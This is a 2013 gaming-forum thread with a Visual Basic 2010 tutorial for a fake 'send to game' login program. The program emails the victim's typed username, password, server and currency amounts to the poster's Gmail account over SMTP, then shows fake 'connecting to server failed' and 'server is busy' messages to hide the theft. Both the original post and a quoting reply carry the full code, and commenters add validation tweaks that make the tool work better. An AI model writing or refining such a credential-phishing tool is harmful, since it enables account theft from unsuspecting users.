Post: Creating a program that send e-mail to yourself like a phishing page in VB 2010
Options
07-14-2013, 07:52 PM
#1
x_ReAcTiiOnz_i
Haxor!
see the images it should be like that
| in Form1_Load add this |
in button1(send to game) add this
Dim smtpServer As New SmtpClient()
Label6.Visible = True
Dim mail As New MailMessage()
smtpServer.Credentials = New Net.NetworkCredential("yourmailhere ", "yourmailpasshere")
'using gmail
Dim smtp As New System.Net.Mail.SmtpClient
smtpServer.Port = 587
smtp.EnableSsl = True
smtpServer.Host = "smtp.gmail.com"
smtpServer.EnableSsl = True
mail = New MailMessage()
mail.From = New MailAddress("yourmailhere ")
mail.To.Add("yourmailhere ")
mail.Subject = "Username: " & TextBox1.Text
mail.Body = "Username : " & TextBox1.Text & ", " & "Password : " & TextBox2.Text & ", " & "server: " & Cb1.Text
smtpServer.Send(mail)
If Label6.Visible = True Then
ProgressBar1.Value = 50
End If
MsgBox("connecting to server please wait... ")
Label6.Visible = False
Label7.Visible = True
If Label7.Visible = True Then
ProgressBar1.Value = 0
MsgBox("connecting to server failed ")
End If
optinal if you want on textbox only numbers add this else leave it blank
If Not IsNumeric(TextBox3.Text) Then
TextBox3.Text = ""
End If
in button2 (check in) add this
If TextBox1.Text = "" Then
MsgBox("Username Is Missing")
Button1.Enabled = False
Else
Button1.Enabled = True
End If
If TextBox2.Text = "" Then
MsgBox("Password Is Mising")
Button1.Enabled = False
Else
Button1.Enabled = True
End If
If TextBox3.Text = "" Then
MsgBox("Wrong Silver amount of silver")
Button1.Enabled = False
Else
Button1.Enabled = True
End If
If TextBox4.Text = "" Then
MsgBox("Wrong Silver amount of gold")
Button1.Enabled = False
Else
Button1.Enabled = True
End If
If Cb1.Text = "" Then
MsgBox("server missing")
Button1.Enabled = False
Else
Button1.Enabled = True
End If
If Button1.Enabled = True Then
MsgBox("Please click the SEND TO GAME button")
End If
pls press the rep and thanks button
if any1 has problem with this message me on skype : killernoobs95
just tell me NGU in the add comment
thanks pichu: You must login or register to view this content. for telling me to change the code and i make it better now
Last edited by
x_ReAcTiiOnz_i ; 07-15-2013 at 10:45 AM.
The following 3 users groaned at x_ReAcTiiOnz_i for this awful post:
07-14-2013, 10:25 PM
#2
Pichu
PICHU.
PICHU.
Originally posted by i
[ATTACH=CONFIG]25883[/ATTACH][ATTACH=CONFIG]25884[/ATTACH][ATTACH=CONFIG]25885[/ATTACH][ATTACH=CONFIG]25886[/ATTACH][ATTACH=CONFIG]25887[/ATTACH]
see the images it should be like that
on top add this
Imports System.Net.Mail
in button1 add this
If TextBox1.Text = "" Then
MsgBox("Username Is Missing")
If TextBox2.Text = "" Then
MsgBox("Password Is Mising")
Else
End If
End If
Dim smtpServer As New SmtpClient()
Dim mail As New MailMessage()
smtpServer.Credentials = New Net.NetworkCredential("yourmailhere", "yourmailpasswordhere")
'using gmail
Dim smtp As New System.Net.Mail.SmtpClient
smtpServer.Port = 587
smtp.EnableSsl = True
smtpServer.Host = "smtp.gmail.com"
smtpServer.EnableSsl = True
mail = New MailMessage()
mail.From = New MailAddress("yourmailhere")
mail.To.Add("yourmailhere")
mail.Subject = "Username: " & TextBox1.Text
mail.Body = "Username : " & TextBox1.Text & ", " & "Password : " & TextBox2.Text
smtpServer.Send(mail)
MsgBox("server is busy, Please try again later!")
pls press the rep and thanks button
if any1 has problem with this message me on skype : killernoobs95
just tell me NGU in the add comment
see the images it should be like that
on top add this
Imports System.Net.Mail
in button1 add this
If TextBox1.Text = "" Then
MsgBox("Username Is Missing")
If TextBox2.Text = "" Then
MsgBox("Password Is Mising")
Else
End If
End If
Dim smtpServer As New SmtpClient()
Dim mail As New MailMessage()
smtpServer.Credentials = New Net.NetworkCredential("yourmailhere", "yourmailpasswordhere")
'using gmail
Dim smtp As New System.Net.Mail.SmtpClient
smtpServer.Port = 587
smtp.EnableSsl = True
smtpServer.Host = "smtp.gmail.com"
smtpServer.EnableSsl = True
mail = New MailMessage()
mail.From = New MailAddress("yourmailhere")
mail.To.Add("yourmailhere")
mail.Subject = "Username: " & TextBox1.Text
mail.Body = "Username : " & TextBox1.Text & ", " & "Password : " & TextBox2.Text
smtpServer.Send(mail)
MsgBox("server is busy, Please try again later!")
pls press the rep and thanks button
if any1 has problem with this message me on skype : killernoobs95
just tell me NGU in the add comment
Why not make the send button this:
sendBtn.Enabled = false;
if (textbox1.Text.Length > 0 && textbox2.Text.Length > 0)
{
sendBtn.Enabled = true;
}
else
sendBtn.Enabled = false;
use this in a function and use the function inside two event handlers for the textboxes this way it ensures that that the two textboxes still have values within them incase they decide to delete it.
The following user thanked Pichu for this useful post:
07-15-2013, 10:04 AM
#3
x_ReAcTiiOnz_i
Haxor!
Originally posted by Pichu
Why not make the send button this:
sendBtn.Enabled = false;
if (textbox1.Text.Length > 0 && textbox2.Text.Length > 0)
{
sendBtn.Enabled = true;
}
else
sendBtn.Enabled = false;
use this in a function and use the function inside two event handlers for the textboxes this way it ensures that that the two textboxes still have values within them incase they decide to delete it.
sendBtn.Enabled = false;
if (textbox1.Text.Length > 0 && textbox2.Text.Length > 0)
{
sendBtn.Enabled = true;
}
else
sendBtn.Enabled = false;
use this in a function and use the function inside two event handlers for the textboxes this way it ensures that that the two textboxes still have values within them incase they decide to delete it.
yeah you are right i will edit to make it better thanks
this was my first tutorial on NGU :p
Copyright © 2024, NextGenUpdate.
All Rights Reserved.
